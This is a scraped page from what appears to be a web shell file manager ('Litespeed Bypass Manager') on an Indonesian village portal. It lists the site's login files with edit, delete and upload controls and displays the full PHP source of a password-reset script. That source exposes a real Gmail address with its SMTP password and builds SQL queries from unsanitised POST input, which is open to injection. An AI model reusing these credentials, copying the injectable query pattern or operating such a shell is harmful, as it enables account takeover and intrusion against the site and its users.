Litespeed Bypass Manager
Direktori:
/candisari-sambeng.id/portal
⬆️ Kembali
Buat Folder Baru
Buat Folder
Upload File
Upload
⚠️ Litespeed Uploader
Isi Folder
📄 FormDaftarUser.php
Edit
Hapus
📄 FormLogin.php
Edit
Hapus
📄 FormLostPassword.php
Edit
Hapus
📄 aksidaftar_proses.php
Edit
Hapus
📄 aksilogin.php
Edit
Hapus
📄 error_log
Edit
Hapus
📄 index.php
Edit
Hapus
📄 kirimpassword.php
Edit
Hapus
📄 login.php
Edit
Hapus
📄 logout.php
Edit
Hapus
Edit File: kirimpassword.php
<?php include_once "../librari/inc.koneksidb.php"; include_once "../librari/inc.librari.php"; use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\Exception; // Include librari phpmailer include('../phpmailer/Exception.php'); include('../phpmailer/PHPMailer.php'); include('../phpmailer/SMTP.php'); session_start(); $username = $_POST['username']; function randomPassword() { // function untuk membuat password random 6 digit karakter $digit = 6; $karakter = "ABCDEFGHJKLMNPQRSTUVWXYZ23456789"; srand((double)microtime()*1000000); $i = 0; $pass = ""; while ($i <= $digit-1) { $num = rand() % 32; $tmp = substr($karakter,$num,1); $pass = $pass.$tmp; $i++; } return $pass; } // membuat password baru secara random -> memanggil function randomPassword $newPassword = randomPassword(); // perlu dibuat sebarang pengacak $pengacak = "NDJS3289JSKS190JISJI"; // mengenkripsi password dengan md5() dan pengacak $password = password_hash($newPassword, PASSWORD_DEFAULT); // mencari alamat email si user $query = "SELECT * FROM user WHERE username = '$username'"; $hasil = mysql_query($query); $data = mysql_fetch_array($hasil); $alamatEmail = $data['email']; $email_pengirim = 'irwanfti@gmail.com'; // Isikan dengan email pengirim $nama_pengirim = 'Irwan Muhamad'; // Isikan dengan nama pengirim $email_penerima = $alamatEmail; // Ambil email penerima dari inputan form $subjek = "Reset Password"; // Ambil subjek dari inputan form $pesan = "Username Anda : ".$username.". \nPassword Anda yang baru adalah ".$newPassword; // Ambil pesan dari inputan form //$attachment = $_FILES['attachment']['name']; // Ambil nama file yang di upload $mail = new PHPMailer; $mail->isSMTP(); $mail->Host = 'smtp.gmail.com'; $mail->Username = $email_pengirim; // Email Pengirim $mail->Password = 'lgvllgpissichbba'; // Isikan dengan Password email pengirim $mail->Port = 465; $mail->SMTPAuth = true; $mail->SMTPSecure = 'ssl'; // $mail->SMTPDebug = 2; // Aktifkan untuk melakukan debugging $mail->setFrom($email_pengirim, $nama_pengirim); $mail->addAddress($email_penerima, ''); $mail->isHTML(true); // Aktifkan jika isi emailnya berupa html //Load file content.php ob_start(); include "content.php"; $content = ob_get_contents(); // Ambil isi file content.php dan masukan ke variabel $content ob_end_clean(); $mail->Subject = $subjek; $mail->Body = $content; $mail->AddEmbeddedImage('images/gresik.png', 'logo_pemdes', 'gresik.png'); // Aktifkan jika ingin menampilkan gambar dalam email $send = $mail->send(); // cek status pengiriman email if ($send) { // update password baru ke database (jika pengiriman email sukses) $query = "UPDATE user SET password = '$password' WHERE username = '$username'"; $hasil = mysql_query($query); if ($hasil) { ?> <script language="JavaScript"> alert('Password baru telah terkirim ke Email Anda.'); document.location='login.php'; </script> <?php } } else ?> <script language="JavaScript"> alert('Gagal Mengirim Email.'); document.location='login.php'; </script> <?php ?>
Simpan
Catatan: Mengedit file biner tidak disarankan.